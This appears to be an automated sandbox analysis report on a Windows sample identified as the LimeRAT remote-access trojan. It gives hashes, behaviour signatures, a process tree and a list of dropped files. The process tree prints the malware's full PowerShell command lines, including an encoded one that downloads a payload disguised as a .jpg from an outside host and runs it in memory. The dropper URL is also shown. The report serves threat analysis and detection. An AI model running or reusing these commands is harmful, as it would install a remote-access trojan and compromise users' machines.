Analysis

  • max time kernel
    173s
  • max time network
    200s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    25-05-2022 00:29

General

  • Target

    a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3.exe

  • Size

    1.7MB

  • MD5

    98bfaca19a9ae44bb60fbc3e98e54d09

  • SHA1

    e2f100fc3eb808fe26cdc26327920293c1272cab

  • SHA256

    a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3

  • SHA512

    d8b5abdb9692f54a512d53589537bb8b4aa489443ef7ae77aede69d5c1510a32ce2508eeca1ff50898fb2305151c53b9f03449dac9a75b4ea8aa370a324f4fbe

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://6.top4top.net/p_13529t6r71.jpg

Signatures

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3.exe
    "C:\Users\Admin\AppData\Local\Temp\a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3396
    • C:\Users\Admin\AppData\Roaming\Checker Netflix.exe
      "C:\Users\Admin\AppData\Roaming\Checker Netflix.exe"
      2⤵
      • Executes dropped EXE
      PID:4460
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\l1l1l.vbs"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\tsQKDrCBEkat).evTHJP).'EntryPoint'.'Invoke'($Null,$Null)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4412
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\r1r1.vbs"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\vLEwUGUT).gukeLLVoun).'EntryPoint'.'Invoke'($Null,$Null)
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\powershell.js"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8ANgAuAHQAbwBwADQAdABvAHAALgBuAGUAdAAvAHAAXwAxADMANQAyADkAdAA2AHIANwAxAC4AagBwAGcAJwApACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2020

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    fb452a70f35730486ca3d9e8f964ce2d

    SHA1

    0dc58e718a9d28b5fe63a7baa9e8c1ff779b2f94

    SHA256

    b1bb1798579847dd7f955bd1d43e572bb521e4f304ca6c1ab25ef24406f7e873

    SHA512

    0be27f3b7f268323e3a5f6687906ab0c3cbfe282e017f92d93629e0c90fd07fec84d0f27afc3efef42310c5a8d1f7a0e1fe44b7ddf6ffb5a57a89b5452f88d62

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    eec69f1a7eff9b5f29366da620e7de88

    SHA1

    be3b8ae89646aa781dfeb338ecf1b10a8c0c6060

    SHA256

    ffc642634c4337f759852084b94b5bbbb247285d16408d4bec65f240004af5c2

    SHA512

    70d7184fdd97388eb5eeeab2fb716e96a1a4d3a4339e83e98a9b2ca3621c19d379936a108b49d11da971cc428683835f44fc21c59ffb014e3fb5f19c07aa5061

  • C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

    Filesize

    1.5MB

    MD5

    068068c3cefb4c8d997271897c3173bb

    SHA1

    d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

    SHA256

    23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

    SHA512

    0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

  • C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

    Filesize

    1.5MB

    MD5

    068068c3cefb4c8d997271897c3173bb

    SHA1

    d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

    SHA256

    23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

    SHA512

    0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

  • C:\Users\Admin\AppData\Roaming\l1l1l.vbs

    Filesize

    129KB

    MD5

    c78f607c916f060d6ee3bf391e303acc

    SHA1

    1575998cda060d4a570ba258abc12044601da283

    SHA256

    f1e57d1714f74c6939ee24bb348fa12e925ec7eb380d5a7d0f1d230effb742f4

    SHA512

    cf26b8b381402622df420fa3881630661d08d76660d01be2d695af8ade568a6f5e3b365e4b17bffee5589d936eeaad3f7ebf413f4a2d810d976b66511548875b

  • C:\Users\Admin\AppData\Roaming\powershell.js

    Filesize

    2KB

    MD5

    40b65baa1541784dd92f5aa8ae11b0ef

    SHA1

    0772c95f56a025704c01389f2d1108a17fb987cf

    SHA256

    9609d3a8ee7d439c54aca9c5aeced07caa4199f116367ecb88b63e9e2e29a699

    SHA512

    fc784babe03c75559314dc15a04386d528e71b003b40349df2a4845576bbc9d2f0898d27fc5b1be8cda9fbf16715822bf0616fa7835e1abefe7ccacc8da3b3d2

  • C:\Users\Admin\AppData\Roaming\r1r1.vbs

    Filesize

    87KB

    MD5

    0494f414da149631c3d59861865dad37

    SHA1

    c9fd335759efb52e58acb974af27cdecb35d0f10

    SHA256

    a2effa9551b467c88ccea70024bd13650267752d1d6bcd91a5bd6915d9c47a56

    SHA512

    a86f2532f2ba996dc8421146d918250b1925daf803a470e3bce312f29a4d0b25af51d4abc005ab390650cb0cf6b4024df3c411e6ae4ed03cd51906b54683f333

  • memory/2020-146-0x0000000005EE0000-0x0000000005F02000-memory.dmp

    Filesize

    136KB

  • memory/2020-143-0x0000000002DD0000-0x0000000002E06000-memory.dmp

    Filesize

    216KB

  • memory/2020-139-0x0000000000000000-mapping.dmp

  • memory/2020-157-0x0000000007E40000-0x00000000084BA000-memory.dmp

    Filesize

    6.5MB

  • memory/2020-144-0x0000000005880000-0x0000000005EA8000-memory.dmp

    Filesize

    6.2MB

  • memory/3712-134-0x0000000000000000-mapping.dmp

  • memory/3848-158-0x0000000007310000-0x0000000007332000-memory.dmp

    Filesize

    136KB

  • memory/3848-153-0x0000000006070000-0x000000000608E000-memory.dmp

    Filesize

    120KB

  • memory/3848-147-0x0000000005800000-0x0000000005866000-memory.dmp

    Filesize

    408KB

  • memory/3848-159-0x0000000007780000-0x00000000077F6000-memory.dmp

    Filesize

    472KB

  • memory/3848-156-0x00000000072C0000-0x00000000072DA000-memory.dmp

    Filesize

    104KB

  • memory/3848-141-0x0000000000000000-mapping.dmp

  • memory/3848-155-0x0000000007340000-0x00000000073D6000-memory.dmp

    Filesize

    600KB

  • memory/4060-135-0x0000000000000000-mapping.dmp

  • memory/4300-133-0x0000000000000000-mapping.dmp

  • memory/4412-142-0x0000000000000000-mapping.dmp

  • memory/4412-154-0x0000000006570000-0x00000000065B4000-memory.dmp

    Filesize

    272KB

  • memory/4412-148-0x00000000059E0000-0x0000000005A46000-memory.dmp

    Filesize

    408KB

  • memory/4460-151-0x0000000005B20000-0x0000000005B2A000-memory.dmp

    Filesize

    40KB

  • memory/4460-152-0x0000000005B90000-0x0000000005BE6000-memory.dmp

    Filesize

    344KB

  • memory/4460-150-0x0000000007D10000-0x0000000007DA2000-memory.dmp

    Filesize

    584KB

  • memory/4460-140-0x0000000000A30000-0x0000000000BB0000-memory.dmp

    Filesize

    1.5MB

  • memory/4460-149-0x0000000008220000-0x00000000087C4000-memory.dmp

    Filesize

    5.6MB

  • memory/4460-145-0x0000000005570000-0x000000000560C000-memory.dmp

    Filesize

    624KB

  • memory/4460-130-0x0000000000000000-mapping.dmp